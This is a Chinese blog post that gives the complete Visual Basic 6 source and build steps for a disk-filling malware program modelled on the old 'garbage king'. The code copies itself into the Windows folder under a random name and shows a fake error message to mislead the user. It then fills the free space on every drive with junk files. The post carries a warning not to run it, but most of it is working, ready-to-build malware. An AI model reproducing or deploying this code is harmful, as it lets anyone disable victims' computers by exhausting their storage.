无聊之作,仿曾经的垃圾大王
该文章迁移自作者的旧博客站点。
源地址:http://fenying.blog.163.com/blog/static/10205599320097943037208/。
源地址:http://fenying.blog.163.com/blog/static/10205599320097943037208/。
一个恶意程序源码,源自于曾经在《电脑报》上看过的恶意程序“垃圾大王”。
这是一个可以在背地里把你的硬盘塞满的程序——它运行在后台,用1MB/个的垃圾文件把你的硬盘彻底塞爆。
注意
-
本程序具有一定危险性,本文仅限讨论,使用以下程序造成的任何后果由您自己承担。
-
千万不要在自己电脑上运行此程序,除非你已经准备重装系统或者换机子。
使用方式
本程序用Visual Basic 6.0打造,在Visual Basic 6.0 简体中文企业版 + Windows XP Professional SP3 简体中文版中测试通过。
启动VB6.0,新建一个“标准EXE”,修改工程名为“RTools”,添加一个模块,添加如下代码
'//Declare APIs.
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'//Define Type
Private Type Disk
Driver As String
FreeSpece As Long
End Type
'//Define Common Var
Dim D() As Disk
Public Function WindowsPath() As String '//Get the path of folder Windows.
Dim sTmp As String * 200
Dim Length As Long
Length = GetWindowsDirectory(sTmp, 200)
WindowsPath = Left(sTmp, Length) & "\"
End Function
Private Function RandomStr(Length As Long) '//Make random string for FileName.
Dim i As Long, RTN As String
For i = 1 To Length
RTN = RTN & Chr$(Int(Rnd() * 26) + 65)
Next
RandomStr = RTN
End Function
Public Sub Main()
If LCase(Mid(App.Path, 4, Len(App.Path) - 3)) <> "windows" Then '//Hide this program.
SPath = WindowsPath & RandomStr(Int(Rnd * 16) + 1) & ".exe"
FileCopy App.Path & IIf(Len(App.Path) = 3, App.EXEName & ".exe", "\" & App.EXEName & ".exe"), SPath
Shell SPath
MsgBox "错误:本程序不能在非 Windows 98 下运行!", vbCritical
End
End If
Dim StrBuf As String * 255, Temp() As String, R As Long, i As Long, x As Long
Dim TEMP1 As Long, TEMP2 As Long, TEMP3 As Long
GetLogicalDriveStrings 255, StrBuf '//Get all Disks
Temp = Split(Replace(StrBuf, Chr$(0), ""), ":\")
R = UBound(Temp) - 1
ReDim D(R)
For i = 0 To R '//Get the free space of each Disk
DoEvents
D(i).Driver = Temp(i) & ":\"
GetDiskFreeSpace D(i).Driver, TEMP1, TEMP2, TEMP3, x
D(i).FreeSpece = TEMP1 * TEMP2 * (TEMP3 / 1024 / 1024)
Next
Randomize Time '//ReSet the seed of random
For i = 0 To R '//Begin to fill all disks.
DoEvents
For x = 1 To D(i).FreeSpece '//Begin to fill each disk.
DoEvents
On Error Resume Next
Open D(i).Driver & RandomStr(Int(Rnd * 32) + 1) & "." & RandomStr(Int(Rnd * 6) + 1) For Random As #1
Put #1, 1024 * 8, ""
Close #1
Next
Next
End Sub
最后修改工程属性,把启动对象设置为“Sub Main”,然后,OK~
当然,本程序在Visual Basic中测试时无效。
comments powered by Disqus